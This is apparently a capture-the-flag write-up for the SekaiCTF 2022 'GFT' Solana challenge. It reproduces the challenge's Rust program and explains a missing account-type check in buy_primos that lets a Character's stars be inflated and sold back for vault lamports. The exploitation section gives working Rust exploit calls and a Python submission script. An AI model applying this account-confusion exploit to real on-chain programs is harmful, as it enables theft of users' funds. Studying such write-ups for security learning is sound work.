# SekaiCTF 2022 - GFT
## The problem
In this challenge we get the source code of the program and the server and a Dockerfile to run the server locally.
The description of the challenge:
> Oh no! My blockchain gacha fungible tokens program has been impacted by some hacker! Can you steal my money back for me?
## Understanding the problem
### Server
The server listens on port 5000 for incoming connections, when a new connection is established `handle_connection` gets called.
`handle_connection` loads the challenge problem, create the user, adds the accounts with the respective lamports (2000 for us and 50000 to the vault), takes our solve as input and runs it, if after running our solve program we have more than 40000 lamports the flag gets sent to us.
```rust
// base: https://github.com/otter-sec/sol-ctf-framework/tree/main/examples/moar-horse-5
use poc_framework_osec::{
solana_sdk::signature::{Keypair, Signer},
Environment, PrintableTransaction, setup_logging, LogLevel,
};
use sol_ctf_framework::ChallengeBuilder;
use solana_program::system_program;
use std::{
error::Error,
fs,
io::Write,
net::{TcpListener, TcpStream},
};
use threadpool::ThreadPool;
use gft::get_vault;
fn main() -> Result<(), Box<dyn Error>> {
let listener = TcpListener::bind("0.0.0.0:5000")?;
let pool = ThreadPool::new(4);
for stream in listener.incoming() {
let stream = stream.unwrap();
pool.execute(|| {
handle_connection(stream).unwrap();
});
}
Ok(())
}
fn handle_connection(mut socket: TcpStream) -> Result<(), Box<dyn Error>> {
let mut builder = ChallengeBuilder::try_from(socket.try_clone().unwrap()).unwrap();
// load programs
let solve_pubkey = builder.input_program().unwrap();
let program_pubkey = builder.chall_programs(&["./gft.so"])[0];
// make user
let user = Keypair::new();
writeln!(socket, "program: {}", program_pubkey)?;
writeln!(socket, "user: {}", user.pubkey())?;
// add accounts and lamports
let (vault, _) = get_vault(program_pubkey);
// beeg money
const TARGET_BAL: u64 = 40_000;
const INIT_BAL: u64 = 2_000;
const VAULT_BAL: u64 = 50_000;
builder
.builder
.add_account_with_lamports(user.pubkey(), system_program::ID, INIT_BAL);
builder
.builder
.add_account_with_lamports(vault, program_pubkey, VAULT_BAL);
let mut challenge = builder.build();
// run solve
challenge.input_instruction(solve_pubkey, &[&user]).unwrap();
// check solve
let balance = challenge.env.get_account(user.pubkey()).unwrap().lamports;
writeln!(socket, "lamports: {:?}", balance)?;
if balance > TARGET_BAL {
let flag = fs::read_to_string("flag.txt").unwrap();
writeln!(socket, "your did it!\nFlag: {}", flag)?;
}
Ok(())
}
```
### Program
#### entrypoint.rs
When we call the challenge program the function `process_instruction` gets called with all the parameters forwarded.
```rust
entrypoint!(start);
fn start(program_id: &Pubkey, accounts: &[AccountInfo], instruction_data: &[u8]) -> ProgramResult {
crate::processor::process_instruction(program_id, accounts, instruction_data)
}
```
#### lib.rs
In here there are some helper functions to create the invocations, other helpers to retrieve some data and the structs used in the challenge that can be serialized and deserialized with the `borsh` crate.
##### structs
```rust
// used to specify the instruction we want to run
#[derive(BorshSerialize, BorshDeserialize)]
pub enum GachaInstruction {
CreateUserAccount {
account_name: String,
account_bump: u8,
},
BuyPrimos {
amount: u64,
vault_bump: u8,
},
BuyCharacter {
character_id: u8,
character_bump: u8,
vault_bump: u8,
},
SellAccount {
vault_bump: u8,
},
}
// used to store account data
#[derive(BorshSerialize, BorshDeserialize)]
pub struct UserAccount {
pub primos: u64,
pub characters: Vec<u8>,
pub owner: Pubkey,
}
// used to store character data
#[derive(BorshSerialize, BorshDeserialize, Debug)]
pub struct Character {
pub stars: u64,
pub name: String,
pub id: u8,
pub owner: Pubkey,
}
```
##### data retrieval helpers
```rust
// retrieve useraccount pubkey and bump
pub fn get_useraccount(program: Pubkey, user: Pubkey, name: &str) -> (Pubkey, u8) {
Pubkey::find_program_address(&[b"ACCOUNT", &user.to_bytes(), name.as_bytes()], &program)
}
// retrieve character pubkey and bump
pub fn get_character(program: Pubkey, useraccount: Pubkey, character_id: u8) -> (Pubkey, u8) {
Pubkey::find_program_address(
&[b"CHARACTER", &useraccount.to_bytes(), &[character_id]],
&program,
)
}
// retrieve vault pubkey and bump
pub fn get_vault(program: Pubkey) -> (Pubkey, u8) {
Pubkey::find_program_address(&[b"VAULT"], &program)
}
```
##### invocation instruction helpers
```rust
// create a `CreateUserAccount` instruction with the user pubkey and the `account_name`
pub fn create_useraccount(program: Pubkey, user: Pubkey, account_name: &str) -> Instruction {
let (useraccount, useraccount_bump) = get_useraccount(program, user, &account_name);
Instruction {
program_id: program,
accounts: vec![
AccountMeta::new(useraccount, false),
AccountMeta::new(user, true),
AccountMeta::new_readonly(system_program::id(), false),
],
data: GachaInstruction::CreateUserAccount {
account_name: account_name.to_string(),
account_bump: useraccount_bump,
}
.try_to_vec()
.unwrap(),
}
}
// create a `BuyPrimos` instruction with the user pubkey, the `account_name` and the amount
pub fn buy_primos(program: Pubkey, user: Pubkey, account_name: &str, amount: u64) -> Instruction {
let (useraccount, _) = get_useraccount(program, user, &account_name);
let (vault, vault_bump) = get_vault(program);
Instruction {
program_id: program,
accounts: vec![
AccountMeta::new(useraccount, false),
AccountMeta::new(user, true),
AccountMeta::new(vault, false),
AccountMeta::new_readonly(system_program::id(), false),
],
data: GachaInstruction::BuyPrimos { amount, vault_bump }
.try_to_vec()
.unwrap(),
}
}
// create a `BuyCharacter` instruction with the user pubkey, the `account_name` and the `character_id`
pub fn buy_character(
program: Pubkey,
user: Pubkey,
account_name: &str,
character_id: u8,
) -> Instruction {
let (useraccount, _) = get_useraccount(program, user, account_name);
let (character, character_bump) = get_character(program, useraccount, character_id);
let (vault, vault_bump) = get_vault(program);
Instruction {
program_id: program,
accounts: vec![
AccountMeta::new(useraccount, false),
AccountMeta::new(user, true),
AccountMeta::new(character, false),
AccountMeta::new(vault, false),
AccountMeta::new_readonly(system_program::id(), false),
],
data: GachaInstruction::BuyCharacter {
character_id,
character_bump,
vault_bump,
}
.try_to_vec()
.unwrap(),
}
}
// create a `SellAccount` instruction with the user pubkey, the `account_name` and the `characters` array which contains a list of character id
pub fn sell_account(
program: Pubkey,
user: Pubkey,
account_name: &str,
characters: &[u8],
) -> Instruction {
let (useraccount, _) = get_useraccount(program, user, account_name);
let (vault, vault_bump) = get_vault(program);
let mut accounts = vec![
AccountMeta::new(useraccount, false),
AccountMeta::new(user, true),
AccountMeta::new(vault, false),
];
for &c in characters {
let (character, _) = get_character(program, useraccount, c);
accounts.push(AccountMeta::new(character, false));
}
accounts.push(AccountMeta::new_readonly(system_program::id(), false));
Instruction {
program_id: program,
accounts: accounts,
data: GachaInstruction::SellAccount { vault_bump }
.try_to_vec()
.unwrap(),
}
}
```
#### processor.rs
In here we have 5 main functions:
##### `process_instruction`
Takes the `instrucion_data` parameter, deserializes it in a `GachaInstruction` used to extract the parameters to call the right function.
The 4 `GachaInstruction`s are the following:
- `CreateUserAccount`, used to create a new user account to store `primos` (the challenge tokens) and the `characters` (the challenge NFTs);
- `BuyPrimos`, used to buy `primos` to any `UserAccount`;
- `BuyCharacter`, used to buy `characters` for an amount of `primos`;
- `SellAccount`, used to sell an `account` for `primos`.
```rust
pub fn process_instruction(
program_id: &Pubkey,
accounts: &[AccountInfo],
mut instruction_data: &[u8],
) -> ProgramResult {
match GachaInstruction::deserialize(&mut instruction_data)? {
GachaInstruction::CreateUserAccount {
account_name,
account_bump,
} => create_useraccount(program_id, accounts, &account_name, account_bump),
GachaInstruction::BuyPrimos { amount, vault_bump } => {
buy_primos(program_id, accounts, amount, vault_bump)
}
GachaInstruction::BuyCharacter {
character_id,
character_bump,
vault_bump,
} => buy_character(
program_id,
accounts,
character_id,
character_bump,
vault_bump,
),
GachaInstruction::SellAccount { vault_bump } => {
sell_account(program_id, accounts, vault_bump)
}
}
}
```
##### `create_useraccount`
Creates a new `UserAccount` with the given `account_name`, after checking that the accounts passed are the right ones.
```rust
fn create_useraccount(
program: &Pubkey,
accounts: &[AccountInfo],
account_name: &str,
account_bump: u8,
) -> ProgramResult {
let account_iter = &mut accounts.iter();
let useraccount_info = next_account_info(account_iter)?;
let user_info = next_account_info(account_iter)?;
let useraccount_address = Pubkey::create_program_address(
&[
b"ACCOUNT",
&user_info.key.to_bytes(),
&account_name.as_bytes(),
&[account_bump],
],
program,
)?;
assert_eq!(*useraccount_info.key, useraccount_address);
assert!(useraccount_info.data_is_empty());
assert!(user_info.is_signer);
// probably good enough /shrug
const ACCOUNT_SIZE: u64 = 512;
invoke_signed(
&system_instruction::create_account(
user_info.key,
useraccount_info.key,
10,
ACCOUNT_SIZE,
program,
),
&[user_info.clone(), useraccount_info.clone()],
&[&[
b"ACCOUNT",
&user_info.key.to_bytes(),
&account_name.as_bytes(),
&[account_bump],
]],
)?;
let new_account = UserAccount {
primos: 0,
characters: Vec::new(),
owner: *user_info.key,
};
new_account.serialize(&mut &mut useraccount_info.data.borrow_mut()[..])?;
Ok(())
}
```
##### `buy_primos`
Uses lamports to buy `primos` and adds them to the `UserAccount` specified in the input parameters, after checking that the accounts passed are right, it only skips a check on the `user_info.owner` because we could potentially buy primos to accounts not owned by us.
```rust
fn buy_primos(
program: &Pubkey,
accounts: &[AccountInfo],
amount: u64,
vault_bump: u8,
) -> ProgramResult {
let account_iter = &mut accounts.iter();
let useraccount_info = next_account_info(account_iter)?;
let user_info = next_account_info(account_iter)?;
let vault_info = next_account_info(account_iter)?;
let mut useraccount = UserAccount::deserialize(&mut &useraccount_info.data.borrow()[..])?;
let vault_address = Pubkey::create_program_address(&[b"VAULT", &[vault_bump]], program)?;
assert_eq!(*vault_info.key, vault_address);
assert_eq!(useraccount_info.owner, program);
assert_eq!(vault_info.owner, program);
// no need to check account owner, since we can let users buy primos for each other
assert!(user_info.is_signer);
// 1:1 ratio between lamports:primos
invoke(
&system_instruction::transfer(user_info.key, vault_info.key, amount),
&[user_info.clone(), vault_info.clone()],
)?;
useraccount.primos += amount;
useraccount.serialize(&mut &mut useraccount_info.data.borrow_mut()[..])?;
Ok(())
}
```
##### `buy_character`
Create a new account to contain the new `Character`, it's data is copied from the `CHARACTERS` array and, after checking that the character is not already present in the `UserAccount` and all the accounts passed are right, the `primos` are taken from the `UserAccount` and the new `character_id` gets pushed to the account's `characters` array.
```rust
fn buy_character(
program: &Pubkey,
accounts: &[AccountInfo],
character_id: u8,
character_bump: u8,
vault_bump: u8,
) -> ProgramResult {
let account_iter = &mut accounts.iter();
let useraccount_info = next_account_info(account_iter)?;
let user_info = next_account_info(account_iter)?;
let character_info = next_account_info(account_iter)?;
let vault_info = next_account_info(account_iter)?;
let mut useraccount = UserAccount::deserialize(&mut &useraccount_info.data.borrow()[..])?;
let character_address = Pubkey::create_program_address(
&[
b"CHARACTER",
&useraccount_info.key.to_bytes(),
&[character_id],
&[character_bump],
],
program,
)?;
msg!("{}", character_address);
let vault_address = Pubkey::create_program_address(&[b"VAULT", &[vault_bump]], program)?;
assert_eq!(*character_info.key, character_address);
assert_eq!(*vault_info.key, vault_address);
assert_eq!(useraccount_info.owner, program);
assert_eq!(vault_info.owner, program);
assert!(character_info.data_is_empty());
assert!(user_info.is_signer);
assert_eq!(useraccount.owner, *user_info.key);
// prevent buying the same character twice
for &c in &useraccount.characters {
assert_ne!(character_id, c);
}
let stats = &CHARACTERS[character_id as usize];
let character = Character {
id: character_id,
stars: stats.stars as u64,
name: stats.name.to_string(),
owner: *useraccount_info.key,
};
let price = (character.stars as u64) * BASE_PRICE;
assert!(useraccount.primos >= price);
// probably good enough /shrug
const CHARACTER_SIZE: u64 = 128;
invoke_signed(
&system_instruction::create_account(
user_info.key,
character_info.key,
10,
CHARACTER_SIZE,
program,
),
&[user_info.clone(), character_info.clone()],
&[&[
b"CHARACTER",
&useraccount_info.key.to_bytes(),
&[character_id],
&[character_bump],
]],
)?;
useraccount.primos -= price;
useraccount.characters.push(character_id);
useraccount.serialize(&mut &mut useraccount_info.data.borrow_mut()[..])?;
character.serialize(&mut &mut character_info.data.borrow_mut()[..])?;
Ok(())
}
```
##### `sell_account`
Sell the account containing the `Characters` and get lamports in exchange.
This function checks that the accounts passed are right and then character by character checks that the program that contains them are owned by the challenge program and that the `UserAccount` we passed owns the `Character`, checks that you didn't try to sell the same `Character` twice and then adds the value (`(character.stars as u64 * BASE_PRICE * LOSS_RATIO) / 100`) to the total. We then receive the total amount of the sale in lamports.
```rust
// monkaTOS
fn sell_account(program: &Pubkey, accounts: &[AccountInfo], vault_bump: u8) -> ProgramResult {
let account_iter = &mut accounts.iter();
let useraccount_info = next_account_info(account_iter)?;
let user_info = next_account_info(account_iter)?;
let vault_info = next_account_info(account_iter)?;
// further accounts passed are all the characters that the user owns
let mut useraccount = UserAccount::deserialize(&mut &useraccount_info.data.borrow()[..])?;
let vault_address = Pubkey::create_program_address(&[b"VAULT", &[vault_bump]], program)?;
assert_eq!(*vault_info.key, vault_address);
assert_eq!(useraccount_info.owner, program);
assert_eq!(vault_info.owner, program);
assert!(user_info.is_signer);
assert_eq!(useraccount.owner, *user_info.key);
let mut price = 0;
let mut sold = HashSet::new();
for character_info in account_iter.take(useraccount.characters.len()) {
let character = Character::deserialize(&mut &character_info.data.borrow()[..])?;
assert_eq!(character_info.owner, program);
assert_eq!(character.owner, *useraccount_info.key);
// haha nice try
assert!(!sold.contains(&character.id));
price += (character.stars as u64 * BASE_PRICE * LOSS_RATIO) / 100;
sold.insert(character.id);
}
**vault_info.lamports.borrow_mut() -= price;
**user_info.lamports.borrow_mut() += price;
useraccount.owner = *program;
useraccount.serialize(&mut &mut useraccount_info.data.borrow_mut()[..])?;
Ok(())
}
```
## Exploitation
After seeing that the `buy_primos` functions takes a `UserAccount` but does not check the owner of the account and that it only modifies the `primos` field we can assume that by just giving it a similar enought structure we can write the field that is placed at the same offset of `primos`, like the `stars` field in `Character`.
So by passing to `buy_primos` function a `Character` and an `amount` big enough to steal enough lamports, we can see that the `stars` field gets increased of `amount`, so we can use that function to increase the value of a character that we can then sell to get `character.stars as u64 * BASE_PRICE * LOSS_RATIO) / 100` lamports.
### Exploit sequence
#### Setup all the variables
```rust
let account_iter = &mut accounts.iter();
let user = next_account_info(account_iter)?;
let gft = next_account_info(account_iter)?;
let character_info = next_account_info(account_iter)?;
let useraccount = next_account_info(account_iter)?;
let vault = next_account_info(account_iter)?;
let sys = next_account_info(account_iter)?;
let vault_bump = instruction_data[0];
let character_id = 0;
let account_name = "f1x3r";
```
#### Create an account
```rust
let _ = invoke(
&create_useraccount(*gft.key, *user.key, account_name),
&[useraccount.clone(), user.clone(), _sys.clone()],
);
```
#### Buy enough `primos` to buy a `Character`, e.g. 800
```rust
let _ = invoke(
&buy_primos(*gft.key, *user.key, account_name, 800),
&[
useraccount.clone(),
user.clone(),
vault.clone(),
sys.clone(),
],
);
```
#### Buy a character
```rust
let _ = invoke(
&buy_character(*gft.key, *user.key, account_name, character_id),
&[
useraccount.clone(),
user.clone(),
character_info.clone(),
vault.clone(),
sys.clone(),
],
);
```
#### Call enough `buy_primos` with the `Character` we just bought in place of an `Account`, e.g. 303 (to empty the vault)
```rust
// the amount of stars to add to our character
let amount = 303;
// create the instruction
let exp = Instruction {
program_id: *gft.key,
accounts: vec![
AccountMeta::new(*character_info.key, false),
AccountMeta::new(*user.key, true),
AccountMeta::new(*vault.key, false),
AccountMeta::new_readonly(system_program::id(), false),
],
data: GachaInstruction::BuyPrimos { amount, vault_bump }
.try_to_vec()
.unwrap(),
};
// invoke the instruction
let _ = invoke(
&exp,
&[
character_info.clone(),
user.clone(),
vault.clone(),
sys.clone(),
],
);
```
#### Sell the account with the forged `Character`
```rust
let _ = invoke(
&sell_account(*gft.key, *user.key, account_name, &[character_id]),
&[
useraccount.clone(),
user.clone(),
vault.clone(),
character_info.clone(),
sys.clone(),
],
);
```
#### Profit
### python script to send our program to the server
We have to connect to the server, send our compiled program size and our program and then retrieve the challenge program and user program pubkey, we can then send our accounts and data to call our program's entrypoint
```python
from pwn import *
from solana.publickey import PublicKey
from solana.system_program import SYS_PROGRAM_ID
host = args.HOST or "localhost"
port = int(args.PORT or 5000)
solve_so = "solve.so"
io = connect(host, port)
# read our program from file
with open(solve_so, "rb") as f:
solve_so_data = f.read()
# send program's size to server
io.sendlineafter(b"len", str(len(solve_so_data)).encode("ascii"))
# send program to server
io.send(solve_so_data)
# receive challenge program pubkey
io.recvuntil(b"program: ").decode("ascii")
program = PublicKey(io.recvline().strip().decode())
log.info(f"program: {program}")
# receive user pubkey
io.recvuntil(b"user: ").decode("ascii")
user = PublicKey(io.recvline().strip().decode("ascii"))
log.info(f"user: {user}")
# find useraccount pubkey and bump
useraccount, useraccount_bump = PublicKey.find_program_address(
[
b"ACCOUNT",
bytes(PublicKey(user)),
b"f1x3r",
],
program,
)
log.info(f"useraccount: {useraccount}")
# find character pubkey and bump
character, character_bump = PublicKey.find_program_address(
[
b"CHARACTER",
bytes(useraccount),
int(0).to_bytes(1, "little")
],
program,
)
log.info(f"character: {character}")
# find vault pubkey and bump
vault, vault_bump = PublicKey.find_program_address([b"VAULT"], program)
log.info(f"vault: {vault}")
# put together the accounts array, each account can be `signer`(`s`), `writable`(`w`), both(`ws`) or none(`q` or any other char, not `s` or `w`, for that matter) of them and that is specified by the first field of the tuple
accounts = [
(b"ws", user.to_base58()),
(b"q", program.to_base58()),
(b"w", character.to_base58()),
(b"w", useraccount.to_base58()),
(b"w", vault.to_base58()),
(b"q", SYS_PROGRAM_ID.to_base58()),
]
# encode our data (here we only need the vault bump)
ix_data = p8(vault_bump)
io.recvuntil(b"num accounts:").decode("ascii")
# send the number of accounts and the accounts
io.sendline(str(len(accounts)).encode("ascii"))
for access, key in accounts:
io.sendline(access + b" " + key)
io.recvuntil(b"ix len:").decode("ascii")
# send data size and data
io.sendline(str(len(ix_data)).encode("ascii"))
io.send(ix_data)
# wait for any answer from the server and log it
output = printable(io.recvall()).decode("utf-8")
log.info(output)
```
### run the exploit
1. Build the program with `cargo build-bpf`
2.1. run `python solve.py` to run it on a local instance of the server
2.2. run `python solve.py HOST=<server_addr> PORT=<server_port>` to run it against the real server
The output should look something like this:
```
[+] Opening connection to localhost on port 5000: Done
[*] program: FrMQd67gsyEre7sdoY3SC6sPe3cBq3yHEkpVb9VRTxyo
[*] user: 4CXtoTXu7QLysLSEobV5S4fFg3rV6fhgb3NV6gKbrKLG
[*] useraccount: C1TUKbrBD2xUA3kzQCanB9uMFzEMS4AWjKGcNAqngcmy
[*] character: Gu5KLAKoSjLNb9wFtoE8TaB5DwQoUjNgZQCNm5BMXvJ6
[*] vault: EPpZENNT5qpowQvBDGmvZkPAyCKu4zx3PUwneybkGw1e
[+] Receiving all data: Done (55B)
[*] Closed connection to localhost port 5000
[*]
lamports: 49997
your did it!
Flag: SEKAI{test_flag}
```
## To learn more abount solana
- [solana cookbook](https://solanacookbook.com) - Essential concepts
- [solana sdk for rust](https://docs.rs/solana-sdk/latest/solana_sdk/)
- [Developement docs](https://docs.solana.com/developers)
- [neodyme workshop](https://workshop.neodyme.io/index.html) - A security workshop to start learning different types of issues